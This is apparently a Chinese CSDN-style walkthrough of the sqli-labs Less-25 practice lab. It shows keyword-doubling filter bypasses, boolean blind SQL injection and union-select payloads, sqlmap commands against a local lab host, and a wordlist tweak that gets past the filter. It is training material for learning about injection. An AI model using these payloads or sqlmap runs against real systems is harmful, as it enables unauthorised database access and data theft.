Less-25(绕过or或and--盲注)

1. 题目分析

根据less24的经验以及通过?id=1 aandnd 1=2 --+?id=1 aandnd 1=1 --+可以判断出id的类型为int;并且可以使用盲注或联合查询两种方法解决的题目。

一下主要回顾盲注的解题思路:
False页面:
在这里插入图片描述
True页面:
在这里插入图片描述
之前学习过盲注,我们知道盲注主要分为布尔盲注和时间盲注,同时再回忆一下要使用的函数:

  • length() :判断字长
  • substr(): 从字符串中取字
  • ascii() : 利用ascii爆破字符串的值

2. 注入思路

2.1 盲注

盲注是一个非常麻烦的事情,这里就简单说一下破解数据库名字的步骤,后面的爆表等过程在Less-8有详细讲过。

首先我们要确定使用的databases()的长度:
通过尝试得出(同时要注意绕过orand的过滤)

?id=1 aandnd length(database())=8 --+

得知数据库名字的长度是8

然后利用ascii()+substr()猜解每一个字母。

id=1 aandnd ascii(substr(database(), 1, 1))=115 --+

这样猜出第一个字母的ascii为115,对应字母s
以此类推,直到猜解全部字符为security

2.2 联合注入

给出一条查询字段的payload

?id=-1 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name="users" aandnd table_schema="security"),3 --+

联合注入很简单,和Less-25基本没有区别。


3. SQLmap注入

盲注类型的题目手注起来是最浪费时间的,在了解原理和手法以后,直接用工具做是比较优的选项。当然如果你对手注有着别样的执着,你可以选择手动挡,这里我就用自动挡了。

打开SQLmap:
首先判断当前数据库的名字:

sqlmap -u 192.168.0.xxx:7788/sqli/Less-25a/?id=1 --batch --current-db

在这里插入图片描述
SQLmap果然还是强,光payload就整了三种,这里PHP版本,Apache版本都整出来了。

然后我们看一下security数据库下面有哪些数据表

sqlmap -u 192.168.0.xxx:7788/sqli/Less-25a/?id=1 --batch --tables

在这里插入图片描述
接着看一下users表中的字段都有什么

sqlmap -u http://192.168.0.106:7788/sqli/Less-25a/?id=-1 -T users --columns --fresh-queries

但是不知道为什么这里SQLmap翻车了,users字段只能检索到idusername

关掉--batch参数,跟着提示来发现一个问题:
这里SQLmap说他不能检索字段,因此要用一个文件去一个一个的匹配:
在这里插入图片描述
而默认使用的文件是/usr/share/sqlmap/data/txt/common-columns.txt,查看这个文件后。我想到可能是SQLmap使用的password被过滤成为了passwd因此检索不出来。我在里面加了一个passwoorrd后发现可以了。
在这里插入图片描述
其实SQLmap可以使用脚本来进行绕过,不过我还没了解过这方面的使用,因此只能这样解题了。等对SQLmap掌握的更熟练以后,我会补充上去的。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值